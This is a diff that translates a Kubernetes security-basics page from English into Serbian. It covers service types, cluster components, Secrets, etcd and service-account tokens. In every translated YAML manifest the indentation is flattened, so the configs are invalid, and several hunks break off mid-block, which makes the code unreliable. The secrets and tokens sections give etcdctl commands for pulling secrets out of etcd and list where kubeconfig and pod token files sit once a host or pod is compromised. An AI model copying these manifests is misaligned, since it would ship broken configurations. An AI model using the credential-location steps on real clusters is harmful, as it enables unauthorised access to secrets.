+Kada se koristi **NodePort**, određeni port je dostupan na svim čvorovima (koji predstavljaju virtuelne mašine). **Saobraćaj** usmeren na ovaj specifičan port se sistematski **usmerava ka servisu**. Obično, ova metoda nije preporučena zbog svojih nedostataka.
 
 List all NodePorts:
-
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
 ```
-
-An example of NodePort specification:
-
+Primer specifikacije NodePort:
 ```yaml
 apiVersion: v1
 kind: Service
 metadata:
-  name: my-nodeport-service
+name: my-nodeport-service
 spec:
-  selector:
-    app: my-app
-  type: NodePort
-  ports:
-    - name: http
-      port: 80
-      targetPort: 80
-      nodePort: 30036
-      protocol: TCP
+selector:
+app: my-app
+type: NodePort
+ports:
+- name: http
+port: 80
+targetPort: 80
+nodePort: 30036
+protocol: TCP
 ```
-
-If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
+Ako **ne navedete** **nodePort** u yaml-u (to je port koji će biti otvoren), koristiće se port u **opsegu 30000–32767**.
 
 ### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
 
-Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
+Izlaže Servis spolja **koristeći load balancer provajdera u oblaku**. Na GKE, ovo će pokrenuti [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) koji će vam dati jedinstvenu IP adresu koja će preusmeriti sav saobraćaj na vaš servis. U AWS-u će pokrenuti Load Balancer.
 
-You have to pay for a LoadBalancer per exposed service, which can be expensive.
-
-List all LoadBalancers:
+Morate plaćati za LoadBalancer po izloženom servisu, što može biti skupo.

-Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
-
-In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
+Saobraćaj koji ulazi u klaster sa **spoljnim IP-om** (kao **odredišni IP**), na portu usluge, biće **usmeren na jedan od krajnjih tačaka usluge**. `externalIPs` nisu upravljani od strane Kubernetesa i odgovornost su administratora klastera.
 
+U specifikaciji usluge, `externalIPs` se mogu navesti zajedno sa bilo kojim od `ServiceTypes`. U sledećem primeru, "`my-service`" može biti pristupljeno od strane klijenata na "`80.11.12.10:80`" (`externalIP:port`)
 ```yaml

 ### ExternalName
 
-[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
-
-This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
+[**Iz dokumenata:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Servisi tipa ExternalName **mapiraju servis na DNS ime**, a ne na tipičan selektor kao što je `my-service` ili `cassandra`. Ove servise definišete pomoću parametra `spec.externalName`.
 
+Ova definicija servisa, na primer, mapira `my-service` servis u `prod` imenskom prostoru na `my.database.example.com`:
 ```yaml
 apiVersion: v1
 kind: Service
 metadata:
-  name: my-service
-  namespace: prod
+name: my-service
+namespace: prod
 spec:
-  type: ExternalName
-  externalName: my.database.example.com
+type: ExternalName
+externalName: my.database.example.com
 ```
+Kada se traži host `my-service.prod.svc.cluster.local`, klasterska DNS usluga vraća `CNAME` zapis sa vrednošću `my.database.example.com`. Pristup `my-service` funkcioniše na isti način kao i drugi servisi, ali sa ključnom razlikom da **preusmeravanje se dešava na DNS nivou** umesto putem proksiranja ili prosleđivanja.
 
-When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding.

 ### Ingress
 
-Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster.
+Za razliku od svih gore navedenih primera, **Ingress NIJE tip usluge**. Umesto toga, on se nalazi **ispred više usluga i deluje kao “pametni ruter”** ili ulazna tačka u vaš klaster.
 
-You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**.
+Možete raditi mnogo različitih stvari sa Ingress-om, i postoje **mnogi tipovi Ingress kontrolera koji imaju različite mogućnosti**.
 
-The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service.
-
-The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this:
+Podrazumevani GKE ingress kontroler će pokrenuti [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) za vas. Ovo će vam omogućiti da radite i rutiranje zasnovano na putanjama i poddomenima ka pozadinskim uslugama. Na primer, možete poslati sve na foo.yourdomain.com ka foo usluzi, i sve pod putanjom yourdomain.com/bar/ ka bar usluzi.
 
+YAML za Ingress objekat na GKE sa [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) može izgledati ovako:
 ```yaml

 ![](https://sickrov.github.io/media/Screenshot-68.jpg)
 
-- **Node**: operating system with pod or pods.
-  - **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
-    - **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
-      When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
-- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
-- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
-- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
-- **Master process:**
-  - **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
-  - **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
-  - **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
-  - **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
-- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
+- **Čvor**: operativni sistem sa podom ili podovima.
+- **Pod**: Omotač oko kontejnera ili više kontejnera. Pod bi trebao sadržati samo jednu aplikaciju (tako da obično, pod pokreće samo 1 kontejner). Pod je način na koji Kubernetes apstrahuje tehnologiju kontejnera koja se pokreće.
+- **Servis**: Svaki pod ima 1 internu **IP adresu** iz unutrašnjeg opsega čvora. Međutim, može biti izložen i putem servisa. **Servis takođe ima IP adresu** i njegov cilj je održavanje komunikacije između podova, tako da ako jedan umre, **novi zamenski** (sa drugačijom internom IP) **će biti dostupan** izložen na **isto IP servisa**. Može biti konfigurisan kao unutrašnji ili spoljašnji. Servis takođe deluje kao **balansirnik opterećenja kada su 2 poda povezana** na isti servis.\
+Kada je **servis** **kreiran**, možete pronaći krajnje tačke svakog servisa pokretanjem `kubectl get endpoints`
+- **Kubelet**: Primarni agent čvora. Komponenta koja uspostavlja komunikaciju između čvora i kubectl, i može pokretati samo podove (putem API servera). Kubelet ne upravlja kontejnerima koji nisu kreirani od strane Kubernetesa.
+- **Kube-proxy**: je servis zadužen za komunikaciju (servise) između apiservera i čvora. Osnova je IPtables za čvorove. Najiskusniji korisnici mogu instalirati druge kube-proxy-e od drugih dobavljača.
+- **Sidecar kontejner**: Sidecar kontejneri su kontejneri koji bi trebali raditi zajedno sa glavnim kontejnerom u podu. Ovaj sidecar obrazac proširuje i poboljšava funkcionalnost trenutnih kontejnera bez njihovog menjanja. Danas znamo da koristimo tehnologiju kontejnera da obavijemo sve zavisnosti za aplikaciju da bi radila bilo gde. Kontejner radi samo jednu stvar i radi tu stvar veoma dobro.
+- **Glavni proces:**
+- **Api Server:** Je način na koji korisnici i podovi komuniciraju sa glavnim procesom. Samo autentifikovani zahtevi bi trebali biti dozvoljeni.
+- **Raspoređivač**: Raspoređivanje se odnosi na osiguranje da su podovi usklađeni sa čvorovima kako bi Kubelet mogao da ih pokrene. Ima dovoljno inteligencije da odluči koji čvor ima više dostupnih resursa i dodeli novi pod njemu. Imajte na umu da raspoređivač ne pokreće nove podove, samo komunicira sa Kubelet procesom koji se pokreće unutar čvora, koji će pokrenuti novi pod.
+- **Kube Controller menadžer**: Proverava resurse kao što su replikacione grupe ili implementacije da proveri da li, na primer, ispravan broj podova ili čvorova radi. U slučaju da nedostaje pod, komuniciraće sa raspoređivačem da pokrene novi. Kontroliše replikaciju, tokene i usluge računa za API.
+- **etcd**: Skladište podataka, postojano, konzistentno i distribuirano. To je baza podataka Kubernetesa i skladište ključ-vrednost gde čuva potpuno stanje klastera (svaka promena se ovde beleži). Komponente kao što su Raspoređivač ili Menadžer kontrolera zavise od ovih podataka da bi znale koje su promene nastale (dostupni resursi čvorova, broj pokrenutih podova...)
+- **Cloud controller menadžer**: Specifični je kontroler za tokove kontrole i aplikacije, tj: ako imate klastere u AWS-u ili OpenStack-u.
 
-Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
+Imajte na umu da kako može biti nekoliko čvorova (koji pokreću nekoliko podova), može biti i nekoliko glavnih procesa čiji je pristup API serveru balansiran opterećenjem i njihov etcd sinhronizovan.
 
-**Volumes:**
+**Obim:**
 
-When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
+Kada pod kreira podatke koji ne bi trebali biti izgubljeni kada pod nestane, trebali bi biti smešteni u fizički obim. **Kubernetes omogućava povezivanje obima sa podom kako bi se podaci sačuvali**. Obim može biti na lokalnoj mašini ili u **daljinskom skladištu**. Ako pokrećete podove na različitim fizičkim čvorovima, trebali biste koristiti daljinsko skladište kako bi svi podovi mogli da mu pristupe.
 
-**Other configurations:**
+**Druge konfiguracije:**
 
-- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
-- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
-- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
-- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
-- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
-  - If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
-    - A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
-    - When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
-    - `minikube addons enable ingress`
+- **ConfigMap**: Možete konfigurirati **URL-ove** za pristup servisima. Pod će dobiti podatke odavde da zna kako da komunicira sa ostalim servisima (podovima). Imajte na umu da ovo nije preporučeno mesto za čuvanje kredencijala!
+- **Tajna**: Ovo je mesto za **čuvanje tajnih podataka** kao što su lozinke, API ključevi... kodirani u B64. Pod će moći da pristupi ovim podacima da koristi potrebne kredencijale.
+- **Implementacije**: Ovo je mesto gde su navedeni komponenti koje će pokretati Kubernetes. Korisnik obično ne radi direktno sa podovima, podovi su apstrahovani u **ReplicaSets** (broj istih podova replikovanih), koji se pokreću putem implementacija. Imajte na umu da su implementacije za **stateless** aplikacije. Minimalna konfiguracija za implementaciju je ime i slika za pokretanje.
+- **StatefulSet**: Ova komponenta je namenjena posebno za aplikacije kao što su **baze podataka** koje trebaju **pristup istom skladištu**.
+- **Ingress**: Ovo je konfiguracija koja se koristi za **izlaganje aplikacije javno putem URL-a**. Imajte na umu da se ovo može uraditi i korišćenjem spoljašnjih servisa, ali ovo je ispravan način za izlaganje aplikacije.
+- Ako implementirate Ingress, biće potrebno da kreirate **Ingress kontrolere**. Ingress kontroler je **pod** koji će biti krajnja tačka koja će primati zahteve, proveravati ih i balansirati ih na servise. Ingress kontroler će **slati zahtev na osnovu konfigurisanih ingress pravila**. Imajte na umu da ingress pravila mogu ukazivati na različite putanje ili čak poddomene za različite interne Kubernetes servise.
+- Bolja praksa bezbednosti bi bila korišćenje cloud balansirnika opterećenja ili proxy servera kao ulazne tačke kako ne bi bilo koje delove Kubernetes klastera izložene.
+- Kada se primi zahtev koji se ne poklapa ni sa jednim ingress pravilom, ingress kontroler će ga usmeriti na "**Podrazumevani backend**". Možete `opisati` ingress kontroler da dobijete adresu ovog parametra.
+- `minikube addons enable ingress`

 ### Minikube
 
-**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
-
+**Minikube** se može koristiti za izvođenje nekih **brzih testova** na Kubernetes-u bez potrebe za implementacijom celog Kubernetes okruženja. Pokrenuće **glavne i čvorne procese na jednoj mašini**. Minikube će koristiti virtualbox za pokretanje čvora. Pogledajte [**ovde kako da ga instalirate**](https://minikube.sigs.k8s.io/docs/start/).

+mongo-root-username: dXNlcm5hbWU=
+mongo-root-password: cGFzc3dvcmQ=
 ```
+**Primer ConfigMap-a**
 
-**Example of ConfigMap**
-
-A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb):
-
+A **ConfigMap** je konfiguracija koja se daje podovima kako bi znali kako da lociraju i pristupaju drugim servisima. U ovom slučaju, svaki pod će znati da je ime `mongodb-service` adresa poda sa kojim mogu da komuniciraju (ovaj pod će izvršavati mongodb):
 ```yaml
 apiVersion: v1
 kind: ConfigMap
 metadata:
-  name: mongodb-configmap
+name: mongodb-configmap
 data:
-  database_url: mongodb-service
+database_url: mongodb-service
 ```
-
-Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod:
-
+Zatim, unutar **deployment config** ova adresa može biti specificirana na sledeći način kako bi se učitala unutar env pod-a:
 ```yaml
 [...]
 spec:
-  [...]
-  template:
-    [...]
-    spec:

-          valueFrom:
-            configMapKeyRef:

+**Primer konfiguracije volumena**
 
-**Example of volume config**
+Možete pronaći različite primere yaml datoteka za konfiguraciju skladišta na [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
+**Napomena: volumeni nisu unutar imenskih prostora**
 
-You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
-**Note that volumes aren't inside namespaces**
+### Imenski prostori
 
-### Namespaces
+Kubernetes podržava **više virtuelnih klastera** koji se oslanjaju na isti fizički klaster. Ovi virtuelni klasteri se nazivaju **imenski prostori**. Namenjeni su za korišćenje u okruženjima sa mnogo korisnika raspoređenih u više timova ili projekata. Za klastere sa nekoliko do desetina korisnika, ne bi trebalo da kreirate ili razmišljate o imenskim prostorima. Trebalo bi da počnete da koristite imenske prostore kako biste imali bolju kontrolu i organizaciju svake komponente aplikacije koja je implementirana u kubernetesu.
 
-Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes.
-
-Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
-
-There are 4 namespaces by default if you are using minikube:
+Imenski prostori pružaju opseg za imena. Imena resursa moraju biti jedinstvena unutar imenskog prostora, ali ne i između imenskih prostora. Imenski prostori ne mogu biti ugnježdeni jedni unutar drugih i **svaki** Kubernetes **resurs** može biti **samo** **u** **jednom** **imenskom prostoru**.
 
+Postoje 4 imenska prostora po defaultu ako koristite minikube:
 ```

 > [!NOTE]
-> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
+> Imajte na umu da su većina Kubernetes resursa (npr. podovi, servisi, kontrolori replikacije i drugi) u nekim prostorima imena. Međutim, drugi resursi kao što su resursi prostora imena i niskonivo resursi, kao što su čvorovi i persistenVolumes, nisu u prostoru imena. Da biste videli koji Kubernetes resursi su i nisu u prostoru imena:
 >
 > ```bash
-> kubectl api-resources --namespaced=true #In a namespace
-> kubectl api-resources --namespaced=false #Not in a namespace
+> kubectl api-resources --namespaced=true #U prostoru imena
+> kubectl api-resources --namespaced=false #Nije u prostoru imena
 > ```
 
-You can save the namespace for all subsequent kubectl commands in that context.
-
+Možete sačuvati prostor imena za sve naredne kubectl komande u tom kontekstu.
 ```bash
 kubectl config set-context --current --namespace=<insert-namespace-name-here>
 ```

 ### Helm
 
-Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**.
-
+Helm je **menadžer paketa** za Kubernetes. Omogućava pakovanje YAML datoteka i distribuciju u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju **Helm Charts**.
 ```
 helm search <keyword>
 ```
+Helm je takođe engine za šablone koji omogućava generisanje konfiguracionih fajlova sa promenljivim vrednostima:
 
-Helm is also a template engine that allows to generate config files with variables:
+## Kubernetes tajne
 
-## Kubernetes secrets
+**Tajna** je objekat koji **sadrži osetljive podatke** kao što su lozinka, token ili ključ. Takve informacije bi inače mogle biti smeštene u specifikaciji Pod-a ili u slici. Korisnici mogu kreirati Tajne, a sistem takođe kreira Tajne. Ime objekta Tajne mora biti važeće **DNS poddomen ime**. Pročitajte ovde [službenu dokumentaciju](https://kubernetes.io/docs/concepts/configuration/secret/).
 
-A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
+Tajne mogu biti stvari poput:
 
-Secrets might be things like:
+- API, SSH ključevi.
+- OAuth tokeni.
+- Akreditivi, Lozinke (običan tekst ili b64 + enkripcija).
+- Informacije ili komentari.
+- Kod za povezivanje sa bazom podataka, stringovi… .
 
-- API, SSH Keys.
-- OAuth tokens.
-- Credentials, Passwords (plain text or b64 + encryption).
-- Information or comments.
-- Database connection code, strings… .
+Postoje različite vrste tajni u Kubernetes-u

-**How secrets works:**
+**Kako tajne funkcionišu:**
 
 ![](https://sickrov.github.io/media/Screenshot-164.jpg)
 
-The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
-
+Sledeći konfiguracioni fajl definiše **tajnu** pod nazivom `mysecret` sa 2 para ključ-vrednost `username: YWRtaW4=` i `password: MWYyZDFlMmU2N2Rm`. Takođe definiše **pod** pod nazivom `secretpod` koji će imati `username` i `password` definisane u `mysecret` izložene u **promenljivim okruženja** `SECRET_USERNAME` \_\_ i \_\_ `SECRET_PASSWOR`. Takođe će **montirati** `username` tajnu unutar `mysecret` na putanji `/etc/foo/my-group/my-username` sa `0640` dozvolama.

-**etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd:
-
+**etcd** je konzistentna i visoko dostupna **key-value skladište** koje se koristi kao pozadinsko skladište za sve podatke klastera u Kubernetes-u. Hajde da pristupimo tajnama koje su pohranjene u etcd:
 ```bash
 cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
 ```
-
-You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd.
-
+Videćete gde se certifikati, ključevi i URL-ovi nalaze u FS-u. Kada ih dobijete, moći ćete da se povežete na etcd.
 ```bash
 #ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health

 ```
-
-Once you achieve establish communication you would be able to get the secrets:
-
+Kada uspostavite komunikaciju, moći ćete da dobijete tajne:

 ```
+**Dodavanje enkripcije u ETCD**
 
-**Adding encryption to the ETCD**
-
-By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
-
+Po defaultu, sve tajne su **smeštene u običnom** tekstu unutar etcd-a, osim ako ne primenite sloj enkripcije. Sledeći primer se zasniva na [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)

+secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
+- identity: {}
 ```
-
-After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
-
+Nakon toga, potrebno je da postavite `--encryption-provider-config` zastavicu na `kube-apiserver` da ukazuje na lokaciju kreirane konfiguracione datoteke. Možete izmeniti `/etc/kubernetes/manifest/kube-apiserver.yaml` i dodati sledeće linije:
 ```yaml
 containers:
-  - command:
-      - kube-apiserver
-      - --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
+- command:
+- kube-apiserver
+- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
 ```
-
-Scroll down in the volumeMounts:
-
+Pomaknite se prema dolje u volumeMounts:
 ```yaml
 - mountPath: /etc/kubernetes/etcd
-    name: etcd
-    readOnly: true
+name: etcd
+readOnly: true
 ```
-
-Scroll down in the volumeMounts to hostPath:
-
+Pomaknite se prema dolje u volumeMounts do hostPath:
 ```yaml
 - hostPath:
-    path: /etc/kubernetes/etcd
-    type: DirectoryOrCreate
-  name: etcd
+path: /etc/kubernetes/etcd
+type: DirectoryOrCreate
+name: etcd
+```
+**Proveravanje da li su podaci enkriptovani**
+
+Podaci su enkriptovani kada se zapisuju u etcd. Nakon ponovnog pokretanja vašeg `kube-apiserver`, svaka nova ili ažurirana tajna treba da bude enkriptovana kada se skladišti. Da biste proverili, možete koristiti `etcdctl` komandnu liniju da preuzmete sadržaj vaše tajne.
+
+1.  Kreirajte novu tajnu pod nazivom `secret1` u `default` imenskom prostoru:
+
+```
+kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
 ```
 
-**Verifying that data is encrypted**
+2.  Koristeći etcdctl komandnu liniju, pročitajte tu tajnu iz etcd:
 
-Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret.
+`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
 
-1.  Create a new secret called `secret1` in the `default` namespace:
+gde `[...]` moraju biti dodatni argumenti za povezivanje sa etcd serverom.
 
-    ```
-    kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
-    ```
+3.  Proverite da li je sačuvana tajna prefiksirana sa `k8s:enc:aescbc:v1:` što ukazuje da je `aescbc` provajder enkriptovao dobijene podatke.
+4.  Proverite da li je tajna ispravno dekriptovana kada se preuzme putem API-ja:
 
-2.  Using the etcdctl commandline, read that secret out of etcd:
+```
+kubectl describe secret secret1 -n default
+```
 
-    `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
-
-    where `[...]` must be the additional arguments for connecting to the etcd server.
-
-3.  Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
-4.  Verify the secret is correctly decrypted when retrieved via the API:
-
-    ```
-    kubectl describe secret secret1 -n default
-    ```
-
-    should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret.
-
-**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
+trebalo bi da odgovara `mykey: bXlkYXRh`, mydata je kodirana, proverite [dekodiranje tajne](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) da biste potpuno dekodirali tajnu.
 
+**Pošto su tajne enkriptovane prilikom pisanja, izvršavanje ažuriranja na tajni će enkriptovati taj sadržaj:**
 ```
 kubectl get secrets --all-namespaces -o json | kubectl replace -f -
 ```
+**Završni saveti:**
 
-**Final tips:**
-
-- Try not to keep secrets in the FS, get them from other places.
-- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
+- Pokušajte da ne čuvate tajne u FS, uzmite ih iz drugih izvora.
+- Pogledajte [https://www.vaultproject.io/](https://www.vaultproject.io) za dodatnu zaštitu vaših tajni.

 ## Kubernetes Tokens
 
-If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
+Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u datoteci na koju ukazuje **env var `KUBECONFIG`** ili **unutar `~/.kube`**.
 
-In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
+U ovoj fascikli možete pronaći konfiguracione datoteke sa **tokenima i konfiguracijama za povezivanje sa API serverom**. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim.
 
-If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
+Ako ste kompromitovali pod unutar kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:
 
 ### Service Account Tokens
 
-Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
+Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem da **pratite ovu vezu i pročitate barem informacije o Kubernetes arhitekturi.**
 
-Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
+Uzimajući iz Kubernetes [dokumentacije](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
 
-_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
+_“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje_ default _servisni nalog u istoj imenskoj oblasti.”_
 
-**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
-Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
+**ServiceAccount** je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta procesima koji se izvršavaju u podu.\
+Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži nosilac tokena. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane.
 
-Usually **one** of the directories:
+Obično **jedna** od fascikli:
 
 - `/run/secrets/kubernetes.io/serviceaccount`
 - `/var/run/secrets/kubernetes.io/serviceaccount`
 - `/secrets/kubernetes.io/serviceaccount`
 
-contain the files:
+sadrži datoteke:
 
-- **ca.crt**: It's the ca certificate to check kubernetes communications
-- **namespace**: It indicates the current namespace
-- **token**: It contains the **service token** of the current pod.
+- **ca.crt**: To je ca sertifikat za proveru kubernetes komunikacija
+- **namespace**: Ukazuje na trenutnu imensku oblast
